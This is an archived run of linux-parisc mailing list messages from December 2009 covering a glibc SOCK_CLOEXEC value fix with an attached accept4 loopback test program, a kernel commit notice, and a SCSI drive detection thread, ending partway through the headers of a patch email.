NNTP-Posting-Date: Sat, 26 Dec 2009 17:32:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 18:32:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOaUt-0003qO-4S
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 18:32:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752582AbZLZRcK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2009 12:32:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752593AbZLZRcK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 26 Dec 2009 12:32:10 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52570 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752582AbZLZRcJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2009 12:32:09 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NOaUm-0000rs-9E; Sat, 26 Dec 2009 17:32:04 +0000
Content-Disposition: inline
In-Reply-To: <20091222225033.GA6996@p100.box>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2512>

On Tue, Dec 22, 2009 at 11:50:33PM +0100, Helge Deller wrote:
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

applied.

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: add strict copy size checks
Date: Sat, 26 Dec 2009 12:32:16 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20091226173216.GG11593@bombadil.infradead.org>
References: <20091222225649.GA7050@p100.box> <4B315460.6090007@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261848748 23841 80.91.229.12 (26 Dec 2009 17:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2009 17:32:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 18:32:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOaV1-0003sV-5a
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 18:32:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752593AbZLZRcS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2009 12:32:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752675AbZLZRcS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 26 Dec 2009 12:32:18 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53085 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752593AbZLZRcR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2009 12:32:17 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NOaUy-0000sM-7x; Sat, 26 Dec 2009 17:32:16 +0000
Content-Disposition: inline
In-Reply-To: <4B315460.6090007@gmx.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2513>

On Wed, Dec 23, 2009 at 12:21:04AM +0100, Helge Deller wrote:
> On 12/22/2009 11:56 PM, Helge Deller wrote:
>> Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
>> implementation.
>> [...PATCH...]
>
> Kyle,
>
> please don't apply yet.
> It will break the 64bit build.
> Nevertheless, it brings up some code areas which would need
> investigation...
>

Ok, cool.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Sat, 26 Dec 2009 13:20:50 -0500
Lines: 237
Approved: news@gmane.org
Message-ID: <20091226182050.GH11593@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="ReaqsoxgOBHFXBhH"
X-Trace: ger.gmane.org 1261851663 31126 80.91.229.12 (26 Dec 2009 18:21:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2009 18:21:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 19:20:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NObG1-0004li-6S
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 19:20:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751237AbZLZSUw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2009 13:20:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752442AbZLZSUw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 26 Dec 2009 13:20:52 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52501 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751237AbZLZSUw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2009 13:20:52 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NObFy-0007ME-Sx; Sat, 26 Dec 2009 18:20:50 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2514>


--ReaqsoxgOBHFXBhH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

So I wired up sys_accept4 over lunch today... it works ok in general,
and takes arguments such that it doesn't need a wrapper (yay.)

Problem. O_CLOEXEC is special on parisc because of the HPUX gunk which
makes everything miserable. The value in glibc is one bit off the value
in the kernel, and kaboom. No worky syscall.

Carlos, patch included below, tested with test_accept4.c, from Ulrich's
commit adding this syscall, modified (fixed) version of the test case
is attached to this email unless I'm a muppet and forgot.

Happy hacking^WHolidays, Kyle

diff --git a/ChangeLog.hppa b/ChangeLog.hppa
index 24a152e..4ce4cc7 100644
--- a/ChangeLog.hppa
+++ b/ChangeLog.hppa
@@ -1,3 +1,7 @@
+2009-12-26  Kyle McMartin   <kyle@redhat.com>
+	* sysdeps/unix/sysv/linux/hppa/bits/socket.h: Fix value of
+	SOCK_CLOEXEC to match O_CLOEXEC.
+
 2009-11-25  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/bits/pthreadtypes.h:
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/socket.h b/sysdeps/unix/sysv/linux/hppa/bits/socket.h
index ac6e81b..d552d85 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/socket.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/socket.h
@@ -62,7 +62,7 @@ enum __socket_type
   /* Flags to be ORed into the type parameter of socket and socketpair and
      used for the flags parameter of paccept.  */
 
-  SOCK_CLOEXEC = 02000000,	/* Atomically set close-on-exec flag for the
+  SOCK_CLOEXEC = 01000000,	/* Atomically set close-on-exec flag for the
 				   new descriptor(s).  */
 #define SOCK_CLOEXEC SOCK_CLOEXEC
 #undef SOCK_NONBLOCK

--ReaqsoxgOBHFXBhH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="test_accept4.c"

/* test_accept4.c

  Copyright (C) 2008, Linux Foundation, written by Michael Kerrisk
       <mtk.manpages@gmail.com>

  Licensed under the GNU GPLv2 or later.
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>

#define PORT_NUM 33333

#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

/**********************************************************************/

/* The following is what we need until glibc gets a wrapper for
  accept4() */

/* Flags for socket(), socketpair(), accept4() */
#undef SOCK_CLOEXEC
#define SOCK_CLOEXEC    010000000
#ifndef SOCK_NONBLOCK
#define SOCK_NONBLOCK   O_NONBLOCK
#endif

#define SYS_accept4 319

static int
__accept4(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
{
   printf("Calling accept4(): flags = 0x%x", flags);
   if (flags != 0) {
       printf(" (");
       if (flags & SOCK_CLOEXEC)
           printf("SOCK_CLOEXEC");
       if ((flags & SOCK_CLOEXEC) && (flags & SOCK_NONBLOCK))
           printf(" ");
       if (flags & SOCK_NONBLOCK)
           printf("SOCK_NONBLOCK");
       printf(")");
   }
   printf("\n");

#if USE_SOCKETCALL
   long args[6];

   args[0] = fd;
   args[1] = (long) sockaddr;
   args[2] = (long) addrlen;
   args[3] = flags;

   return syscall(SYS_socketcall, SYS_ACCEPT4, args);
#else
   return syscall(SYS_accept4, fd, sockaddr, addrlen, flags);
#endif
}

/**********************************************************************/

static int
do_test(int lfd, struct sockaddr_in *conn_addr,
       int closeonexec_flag, int nonblock_flag)
{
   int connfd, acceptfd;
   int fdf, flf, fdf_pass, flf_pass;
   struct sockaddr_in claddr;
   socklen_t addrlen;

   printf("=======================================\n");

   connfd = socket(AF_INET, SOCK_STREAM, 0);
   if (connfd == -1)
       die("socket");
   if (connect(connfd, (struct sockaddr *) conn_addr,
               sizeof(struct sockaddr_in)) == -1)
       die("connect");

   addrlen = sizeof(struct sockaddr_in);
   acceptfd = __accept4(lfd, (struct sockaddr *) &claddr, &addrlen,
                      closeonexec_flag | nonblock_flag);
   if (acceptfd == -1) {
       perror("accept4()");
       close(connfd);
       return 0;
   }

   fdf = fcntl(acceptfd, F_GETFD);
   if (fdf == -1)
       die("fcntl:F_GETFD");
   fdf_pass = ((fdf & FD_CLOEXEC) != 0) ==
              ((closeonexec_flag & SOCK_CLOEXEC) != 0);
   printf("Close-on-exec flag is %sset (%s); ",
           (fdf & FD_CLOEXEC) ? "" : "not ",
           fdf_pass ? "OK" : "failed");

   flf = fcntl(acceptfd, F_GETFL);
   if (flf == -1)
       die("fcntl:F_GETFD");
   flf_pass = ((flf & O_NONBLOCK) != 0) ==
              ((nonblock_flag & SOCK_NONBLOCK) !=0);
   printf("nonblock flag is %sset (%s)\n",
           (flf & O_NONBLOCK) ? "" : "not ",
           flf_pass ? "OK" : "failed");

   close(acceptfd);
   close(connfd);

   printf("Test result: %s\n", (fdf_pass && flf_pass) ? "PASS" : "FAIL");
   return fdf_pass && flf_pass;
}

static int
create_listening_socket(int port_num)
{
   struct sockaddr_in svaddr;
   int lfd;
   int optval;

   memset(&svaddr, 0, sizeof(struct sockaddr_in));
   svaddr.sin_family = AF_INET;
   svaddr.sin_addr.s_addr = htonl(INADDR_ANY);
   svaddr.sin_port = htons(port_num);

   lfd = socket(AF_INET, SOCK_STREAM, 0);
   if (lfd == -1)
       die("socket");

   optval = 1;
   if (setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &optval,
                  sizeof(optval)) == -1)
       die("setsockopt");

   if (bind(lfd, (struct sockaddr *) &svaddr,
            sizeof(struct sockaddr_in)) == -1)
       die("bind");

   if (listen(lfd, 5) == -1)
       die("listen");

   return lfd;
}

int
main(int argc, char *argv[])
{
   struct sockaddr_in conn_addr;
   int lfd;
   int port_num;
   int passed;

   passed = 1;

   port_num = (argc > 1) ? atoi(argv[1]) : PORT_NUM;

   memset(&conn_addr, 0, sizeof(struct sockaddr_in));
   conn_addr.sin_family = AF_INET;
   conn_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
   conn_addr.sin_port = htons(port_num);

   lfd = create_listening_socket(port_num);

   if (!do_test(lfd, &conn_addr, 0, 0))
       passed = 0;
   if (!do_test(lfd, &conn_addr, SOCK_CLOEXEC, 0))
       passed = 0;
   if (!do_test(lfd, &conn_addr, 0, SOCK_NONBLOCK))
       passed = 0;
   if (!do_test(lfd, &conn_addr, SOCK_CLOEXEC, SOCK_NONBLOCK))
       passed = 0;

   close(lfd);

   exit(passed ? EXIT_SUCCESS : EXIT_FAILURE);
}

--ReaqsoxgOBHFXBhH--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Sat, 26 Dec 2009 18:21:24 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <200912261821.nBQILO86008675@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261851693 31186 80.91.229.12 (26 Dec 2009 18:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2009 18:21:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 19:21:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NObGX-0004li-Hg
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 19:21:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752265AbZLZSVZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2009 13:21:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752576AbZLZSVZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 26 Dec 2009 13:21:25 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:42435 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752265AbZLZSVZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2009 13:21:25 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nBQILO2A008677
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sat, 26 Dec 2009 18:21:24 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nBQILO86008675
	for linux-parisc@vger.kernel.org; Sat, 26 Dec 2009 18:21:24 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-1.7 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2515>

New commits:
commit 359df6c21ca7535c147f84e10835b4ac71c7ce60
Author: Kyle McMartin <kyle@mcmartin.ca>
Date:   Sat Dec 26 17:19:17 2009 +0000

    parisc: ditto sys_accept4
    
    tested with test_accept4.c from de11defebf00007677fb7ee91d9b089b78786fbb
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit d8cdf4ceb8eb0fe977b427f66c8b4d5ad5700d6f
Author: Helge Deller <deller@gmx.de>
Date:   Tue Dec 22 22:50:33 2009 +0000

    parisc: wire up sys_recvmmsg
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: No drives come online in 2.6.32?
Date: Sat, 26 Dec 2009 12:40:22 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20091226194022.GA3521@parisc-linux.org>
References: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com> <20091225234654.GA23763@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261856435 9666 80.91.229.12 (26 Dec 2009 19:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Dec 2009 19:40:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 26 20:40:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOcUz-0001cd-HM
	for glpp-linux-parisc@lo.gmane.org; Sat, 26 Dec 2009 20:40:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753115AbZLZTkY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Dec 2009 14:40:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752912AbZLZTkY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 26 Dec 2009 14:40:24 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:33749 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752796AbZLZTkY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Dec 2009 14:40:24 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1A55E494005; Sat, 26 Dec 2009 12:40:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091225234654.GA23763@lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2516
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2516>

On Fri, Dec 25, 2009 at 04:46:55PM -0700, Grant Grundler wrote:
> On Wed, Dec 23, 2009 at 09:19:19PM -0500, Carlos O'Donell wrote:
> > When booting 2.6.32, my scsi drives don't come online, all I see during boot is:
> > ~~~
> > sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> > sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
> > sym53c8xx 0000:00:01.1: enabling device (0000 -> 0003)
> > sym53c8xx 0000:00:01.1: enabling SERR and PARITY (0003 -> 0143)
> > sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
> > sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
> > sym53c8xx 0000:00:02.1: enabling device (0146 -> 0147)
> > ~~~
> > When booting 2.6.32-rc6 the drives come online right away after they
> > are enabled.
> > 
> > No amount of waiting helps.
> 
> Do you have CONFIG_SCSI_SCAN_ASYNC=y ?
> 
> If so, add CONFIG_SCSI_WAIT_SCAN=m or disable SCAN_ASYNC.
> 
> While this should work, it sounds like it's not working.

Huh?  The wait scan module will wait for scans to complete.  This sounds
like the scans are never starting.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: No drives come online in 2.6.32?
Date: Sun, 27 Dec 2009 01:02:36 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20091227080236.GB29557@lackof.org>
References: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com> <20091225234654.GA23763@lackof.org> <20091226194022.GA3521@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261900969 23030 80.91.229.12 (27 Dec 2009 08:02:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 08:02:49 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 27 09:02:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOo5G-0005KE-N9
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Dec 2009 09:02:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751004AbZL0ICi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Dec 2009 03:02:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751130AbZL0ICi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Dec 2009 03:02:38 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:46547 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751004AbZL0ICh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Dec 2009 03:02:37 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 5A27333E0008;
	Sun, 27 Dec 2009 01:02:37 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MpEyUfVm-1Yn; Sun, 27 Dec 2009 01:02:37 -0700 (MST)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 05BAE33E0177; Sun, 27 Dec 2009 01:02:36 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20091226194022.GA3521@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2517
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2517>

On Sat, Dec 26, 2009 at 12:40:22PM -0700, Matthew Wilcox wrote:
> > > ~~~
> > > When booting 2.6.32-rc6 the drives come online right away after they
> > > are enabled.
> > > 
> > > No amount of waiting helps.
> > 
> > Do you have CONFIG_SCSI_SCAN_ASYNC=y ?
> > 
> > If so, add CONFIG_SCSI_WAIT_SCAN=m or disable SCAN_ASYNC.
> > 
> > While this should work, it sounds like it's not working.
> 
> Huh?  The wait scan module will wait for scans to complete.  This sounds
> like the scans are never starting.

Doh...you are right. WAIT_SCAN won't matter/help.
He should still disable SCAN_ASYNC as a test.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roel Kluin <roel.kluin@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: test off by one in sgl_frem() and dbl_frem()
Date: Sun, 27 Dec 2009 14:21:44 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <4B375F68.80301@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261919976 27999 80.91.229.12 (27 Dec 2009 13:19:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Dec 2009 13:19:36 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 27 14:19:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NOt1s-0002We-Jv
	for glpp-linux-parisc@lo.gmane.org; Sun, 27 Dec 2009 14:19:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752029AbZL0NS7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Dec 2009 08:18:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751986AbZL0NS7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 27 Dec 2009 08:18:59 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:40015 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752018AbZL0NSz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Dec 2009 08:18:55 -0500
Original-Received: by ewy19 with SMTP id 19so1142531ewy.21
        for <multiple recipients>; Sun, 27 Dec 2009 05:18:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from
         :user-agent:mime-version:to:subject:content-type
         :content-transfer-encoding;
